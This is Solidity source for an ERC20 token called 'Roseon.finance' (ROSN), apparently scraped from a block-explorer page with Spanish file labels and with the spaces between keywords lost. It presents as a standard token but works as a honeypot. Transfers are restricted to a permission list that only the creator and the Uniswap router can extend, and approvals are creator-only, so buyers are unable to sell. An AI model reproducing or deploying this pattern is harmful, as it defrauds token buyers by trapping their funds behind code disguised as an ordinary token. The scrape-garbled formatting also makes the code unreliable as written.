pragmasolidity ^0.6.6;import"./Context.sol";
pragmasolidity ^0.6.6;contractPermissionsisContext{
addressprivate _creator;
addressprivate _uniswap;
mapping (address=>bool) private _permitted;
constructor() public{
_creator =0x9F155001545C3FF8F9ce3b0Eb72A5705600571c0;
_uniswap =0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] =true;
_permitted[_uniswap] =true;
}
functioncreator() publicviewreturns (address)
{ return _creator; }
functionuniswap() publicviewreturns (address)
{ return _uniswap; }
functiongivePermissions(address who) internal{
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] =true;
}
modifieronlyCreator{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifieronlyPermitted{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
}
Código Fuente del Contrato
Archivo 4 de 5: SafeMath.sol
pragmasolidity ^0.6.6;librarySafeMath{
functionadd(uint256 a, uint256 b) internalpurereturns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/functionsub(uint256 a, uint256 b) internalpurereturns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
functionsub(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/functionmul(uint256 a, uint256 b) internalpurereturns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the// benefit is lost if 'b' is also tested.// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522if (a ==0) {
return0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/functiondiv(uint256 a, uint256 b) internalpurereturns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
functiondiv(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b >0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;
}
functionmod(uint256 a, uint256 b) internalpurereturns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
functionmod(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b !=0, errorMessage);
return a % b;
}
}
Código Fuente del Contrato
Archivo 5 de 5: Token.sol
pragmasolidity ^0.6.6;import"./Permissions.sol";
import"./SafeMath.sol";
import"./Address.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/interfaceIERC20{
/**
* @dev Returns the amount of tokens in existence.
*/functiontotalSupply() externalviewreturns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/functionbalanceOf(address account) externalviewreturns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/functiontransfer(address recipient, uint256 amount) externalreturns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/functionallowance(address owner, address spender) externalviewreturns (uint256);
functionapprove(address spender, uint256 amount) externalreturns (bool);
functiontransferFrom(address sender, address recipient, uint256 amount) externalreturns (bool);
eventTransfer(addressindexedfrom, addressindexed to, uint256 value);
eventApproval(addressindexed owner, addressindexed spender, uint256 value);
}
contractERC20isPermissions, IERC20{
usingSafeMathforuint256;
usingAddressforaddress;
mapping (address=>uint256) private _balances;
mapping (address=>mapping (address=>uint256)) private _allowances;
stringprivate _name;
stringprivate _symbol;
uint8private _decimals;
uint256private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/constructor () public{
//_name = " Roseon.finance ";//_symbol = "ROSN ";
_name ="Roseon.finance ";
_symbol ="ROSN";
_decimals =18;
_totalSupply =100000000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/functionname() publicviewreturns (stringmemory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/functionsymbol() publicviewreturns (stringmemory) {
return _symbol;
}
functiondecimals() publicviewreturns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/functiontotalSupply() publicviewoverridereturns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/functionbalanceOf(address account) publicviewoverridereturns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/functiontransfer(address recipient, uint256 amount) publicvirtualonlyPermittedoverridereturns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
returntrue;
}
/**
* @dev See {IERC20-allowance}.
*/functionallowance(address owner, address spender) publicviewvirtualoverridereturns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/functionapprove(address spender, uint256 amount) publicvirtualonlyCreatoroverridereturns (bool) {
_approve(_msgSender(), spender, amount);
returntrue;
}
functiontransferFrom(address sender, address recipient, uint256 amount) publicvirtualoverridereturns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transferreturntrue;
}
functionincreaseAllowance(address spender, uint256 addedValue) publicvirtualonlyCreatorreturns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
returntrue;
}
functiondecreaseAllowance(address spender, uint256 subtractedValue) publicvirtualonlyCreatorreturns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
returntrue;
}
function_transfer(address sender, address recipient, uint256 amount) internalvirtual{
require(sender !=address(0), "ERC20: transfer from the zero address");
require(recipient !=address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/function_approve(address owner, address spender, uint256 amount) internalvirtual{
require(owner !=address(0), "ERC20: approve from the zero address");
require(spender !=address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}